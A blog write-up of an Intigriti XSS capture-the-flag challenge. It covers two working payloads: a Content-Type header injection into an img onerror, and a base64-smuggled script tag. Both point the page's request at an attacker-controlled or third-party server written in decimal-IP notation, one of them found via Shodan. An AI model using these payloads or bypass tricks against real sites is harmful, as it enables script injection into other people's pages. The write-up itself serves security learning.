Spoiler alert: this is a write-up for the XSS challenge that you can find on Intigriti. If you haven’t done it yet and may want to in the future, you definitely don’t want to read this right now.

Here we go again! I didn’t expect Inti to come up with another challenge right away but here it is so let’s have a look at it.

As fun as it was, I found this one to be less challenging than the last. There has been way less head scratching and cursing on my part :)
Anyway, let’s have a look at the challenge and its two solutions.

The challenge

It was a fairly simple Javascript:

var b64img = window.location.hash.substr(1);
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
  if (this.readyState == 4 && this.status == 200) {
    var reader = new FileReader();
    reader.onloadend = function() {
      document.write(`
        <a href="${b64img}" alt="${atob(b64img)}">
          <img src="${reader.result}">
        </a>`);
    }
    reader.readAsDataURL(this.response);
  }
};
xhttp.responseType = 'blob';
xhttp.open("GET", b64img, true);
xhttp.send();

Basically it takes the hash part of the URL and uses it as the URL for sending a GET request. It then wraps the response of that request as a data URI and adds an img tag to the document with the data URI as its src. This is also wrapped in an a tag with the href set as the hash part of the initial URL and also the alt attribute as the hash part of the URL but base64 decoded.

With that in mind, let’s look for injection points and what conditions need to hold true for our attack to be successful.
The obvious injection points are all in the template literal used by the document.write() call:

  • b64img - the hash part of the URL
  • atob(b64img) - the hash part of the URL decoded as base64
  • reader.result - the data URI produced by the reader.readAsDataURL() call on the response to the GET request

We control the two first ones outright and we can control the last one if we can make the script send the GET request to a server we control.
b64img needs to be valid base64 as atob() will throm an error if it’s not and document.write() will fail, aborting our attack.
reader.result will have the following format: data:<content-type>;base64,<data>.

The unintended solution

I will start with the unintended one as it’s one I found first.
I first checked the injection point in the img tag as I knew that if it worked I could use an onerror handler to execute javascript without user interaction.
I noticed that when accessing the challenge URL, the data URI ended up being data:application/octet-stream;base64,iVBORw...rkJggg== and the MIME-type was matching the value of the Content-Type header returned in the response to the GET https://challenge.intigriti.io/2/aW50aWdyaXRpLWNoYWxsZW5nZQ== request.
I did some testing to make sure that reader.readAsDataURL() was indeed using the Content-Type to build the data URI, and it was.
As I knew from the previous XSS challenge that this field in the data URI could contain pretty much anything, here was my injection point.
Now I only had to make the JS send the request to my server and make my server respond with an alert popping Content-Type header.

Let’s suppose that my server is at http://attacker.com. We keep the URL as simple as possible so it’s easier to work with.
The problem is that a URL typically contains characters that are just not allowed in base64.
Here they are highlighted in bold: http://attacker.com
Base64 allows upper and lowercase ASCII letters (a to z and A to Z) and numbers (0 to 9). But that is only 62 characters. + and / are also used to make it 64. And there’s the case of the = character used for padding.
So the good news is that the most prevalent character in URLs, the slash / is allowed! But : and . are not.
Let’s tackle the first one: what if we just got rid of the scheme altogether? The URL would be //attacker.com, it’s called a network-path reference and is totally valid: the browser will just use the current scheme. In our case, https.
So that’s one down, next!
To remove that dot from the DNS name of my server, I could just add a local DNS entry in my /etc/hosts file and make it resolve to the IP of my server. But that wouldn’t be practical when demonstrating the solution to other people. So I looked at alternative IP notations because IPs are in fact just big numbers written as 4 bytes in decimal separated by dots. But they can also be written as a decimal, hexadecimal or octal number.
If, say, the IP of my server is 15.50.133.7, it can also be written as:

  • 254969095 - decimal
  • 0xf328507 - hexadecimal
  • 01714502407 - octal

I’ll use decimal for simplicity. The URL is now //254969095, way better. And valid base64.

But as the challenge page is served over HTTPS, the browser is using the same scheme to connect to our server. And since I don’t have a TLS certificate for that IP, the connection just fails.
I tried loading the challenge page over HTTP and thankfully it worked, allowing me to run my server on port 80.

Now when I open http://challenge.intigriti.io/2/#//254969095 in my browser, I get a CORS error in the JS console.

No 'Access-Control-Allow-Origin' header is present on the requested resource.

I make my server return an Access-Control-Allow-Origin: * header and the error is gone.
Now on the server side I just have to have my server also return a Content-Type header including an XSS payload.
If we look at the HTML markup our payload will be injected in:

<a href="base64url" alt="decodedbase64">
    <img src="data:<content-type>;base64,<data>">
</a

We can see that we need it to close the src attribute, add the onerror handler calling alert(document.domain) and add a junk attribute that can use the remaining part ;base64,<data> as its value.
I came up with the following: app" onerror="alert(document.domain)" data="/testozor
Which, when injected, will end up as:

<a href="base64url" alt="decodedbase64">
    <img src="data:app" onerror="alert(document.domain)" data="/testozor;base64,Test">
</a

The browser will try to load the data:app URI and fail then triggering the onerror handler and making our alert pop.

Here is the final payload: http://challenge.intigriti.io/2/#//254969095/index and the Ruby script I used on the server side.

The (maybe) intended solution

I came back to the challenge a few days later determined to find the other solution. There has been a few hints posted by Intigriti on Twitter since and they kind of lead me on a wrong path. Although I’m not sure and might have not found the official solution yet!
I will nonetheless expose some of the ideas I explored, just for info.

I focused on injecting in the alt attribute of the a tag and for that I needed to be able to add my base64 encoded payload to the aW50aWdyaXRpLWNoYWxsZW5nZQ== string that’s set as the hash part of the URL by the script.
It meant that my full payload had to be valid when used as a URL by xhttp.open(), still be valid base64 and that the request had to return a 200 OK response. So I spent quite some time playing with URL delimiters like /, ?, # or ; without any luck because they would always cause the atob() call to fail. I also tried some whitespaces as they are just removed by atob() before the actual decoding but they made the GET request fail as it was now requesting a non-existent resource, which returned a 404 Not Found.

Getting nowhere with that, it’s time to use what I found for the first solution and try to apply it to this case.
We can use the same alternative IP notation trick to send the GET request to our server and then we can just append our base64 encoded XSS payload to it so it gets decoded and injected in the alt attribute. Our server only needs to set the Access-Control-Allow-Origin: * header, not the Content-Type anymore.

The script for the server becomes:

As for the payload, we need to adapt it to the new context. Again, here is the markup:

<a href="base64url" alt="<payload>">
    <img src="data:text/html;base64,base64data">
</a

To make sure it pops an alert without user interaction, we need to close the alt attribute, close the a tag and then insert a script tag with our own javascript. Here is what I used: "><script>alert(document.domain);</script>

Now remember that the URL to our server is //254969095/, which when decoded gives ÿý¹ãÞ½ÓÞ . We append our payload to that and then reencode it to base64 to end up with //254969095/Ij48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+. Note that we need that slash after the decimal IP of our server as it separates the host from the path.
The script server-side is slightly modified from the first solution to handle any path on the server as you can see in the above gist.

The final payload is http://challenge.intigriti.io/2/#//254969095/Ij48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+ and should pop an alert if you edit it to reach to your own server.

Annoying that you can’t just click the link I gave above to see it for yourself right? We should fix that because I think we can do better!
Let’s hunt for an HTTP server listening on port 80, returning a 200 OK to anything we put in the URL path and which also sets the Access-Control-Allow-Origin: * header. I mean how hard is that?
Not that hard in fact: a quick search on Shodan with the following query does it.

Access-Control-Allow-Origin: *  200 OK port:"80"

I’ll just use one of the results from the first page which uses the IP 52.17.248.19. As you can check for yourself, any path on that server returns a 200 OK status.
Rebuilding the whole payload with that IP, we end up with the following: http://challenge.intigriti.io/2/#//873592851//yI+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg==

And now you can see it pop in your own browser with zero work on your part! :D

I kinda like the last payload I found because it’s portable but I still feel the official solution is probably different and doesn’t use any external resources. It would be more elegant. I’m waiting for the solutions to be published and I’ll probably update this post afterwards.
Hope you had fun with the challenge and the write-up was interesting!
Hit me up on Twitter if you want to let me know what you think about it 👌